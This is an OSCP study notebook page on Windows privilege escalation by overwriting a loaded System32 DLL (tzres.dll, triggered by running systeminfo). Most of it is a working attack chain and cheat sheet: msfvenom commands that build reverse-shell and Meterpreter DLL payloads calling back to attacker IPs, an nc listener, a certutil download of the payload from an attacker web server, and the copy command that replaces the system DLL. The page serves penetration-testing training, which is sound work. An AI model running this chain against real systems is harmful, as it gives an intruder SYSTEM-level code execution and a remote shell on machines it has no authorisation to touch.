Pearson's OSCP Notebook

DLL Injection

Properties1
tagsdll-injection, tzres.dll, systeminfo, msfvenom, privesc, windows, oscp

3 min read

DLL Injection — Privilege Escalation

Ctrl+F: DLL Injection · tzres.dll · systeminfo · msfvenom -f dll · dllref

DLL Injection — place a malicious DLL where a high-privilege process (or command you run) will load it. Code runs inside that process’s context — if the process is SYSTEM or elevated, you get privilege escalation.

Often chained after SeManageVolumePrivilege + SeManageVolumeExploit — exploit grants write access to C:\Windows\System32\..., then you replace a legitimate DLL.

Different from DLL Hijacking (abusing search order / missing DLL) — injection here = overwrite a known loaded DLL path.

→ Msfvenom · DLL Hijacking · Windows PrivEsc

📌 When to try

SignalAction
Write access to System32 or app dir (post SeManageVolumeExploit)Replace target DLL
dllref / ProcMon shows DLL load on command runPick trigger binary
Service loads DLL from writable pathSee DLL Hijacking

📌 Find injection targets — dllref (Siren Security)

dllref maps binaries → DLLs they load — privesc “triggers”.

Example hit:

#tzres.dll
C:\Windows\System32\wbem\tzres.dll  (systeminfo, NetworkService)

Running systeminfo can load tzres.dll from wbem — replace with malicious DLL → code execution when you run the command.

📌 Lab chain — tzres.dll + systeminfo

Full chain: SeManageVolumePrivilege → SeManageVolumeExploit → this section.

Step 1 — Generate malicious DLL (Kali)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.227 LPORT=8080 -f dll -o tzres.dll

→ Msfvenom > DLL payloads · adjust LHOST to tun0 IP

Step 2 — Listener (Kali)

nc -lvnp 443

Step 3 — Transfer DLL to target

certutil -urlcache -split -f http://192.168.45.197/tzres.dll C:\Windows\Temp\tzres.dll

Backup original first (if readable):

copy C:\Windows\System32\wbem\tzres.dll C:\Windows\Temp\tzres.dll.bak
copy /Y C:\Windows\Temp\tzres.dll C:\Windows\System32\wbem\tzres.dll

Requires write permission on wbem\ — usually after SeManageVolumeExploit.

→ certutil · File Transfer

Step 4 — Trigger

systeminfo

Reverse shell on nc — context depends on how systeminfo loads the DLL (often elevated / SYSTEM in lab scenarios).

📌 msfvenom DLL — common payloads

# Reverse shell DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o evil.dll
 
# 32-bit target
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o evil32.dll
 
# Meterpreter DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o meta.dll

Transfer → replace target DLL → restart service or run trigger command.

📌 vs DLL Hijacking

DLL Injection (this note)DLL Hijacking
MechanismReplace DLL at fixed pathPlant DLL where loader searches
Typical prepWrite access to System32 / app folderWritable dir in PATH / missing DLL
TriggerRun binary that loads that DLLRestart service / run exe
Exampletzres.dll + systeminfoevil.dll as missing dependency

📌 Other triggers (after writable System32)

TargetTrigger
Printconfig.dllPrintNotify COM — SeManageVolumeExploit > 📌 PrintConfig.dll → SYSTEM
Service-specific DLLsc stop / sc start
spool\ driversPrint spooler restart

📌 Quick cheat sheet

# Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f dll -o tzres.dll
nc -lvnp 443
python3 -m http.server 8080
REM After SeManageVolumeExploit
certutil -urlcache -split -f http://KALI:8080/tzres.dll C:\Windows\Temp\tzres.dll
copy /Y C:\Windows\Temp\tzres.dll C:\Windows\System32\wbem\tzres.dll
systeminfo

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks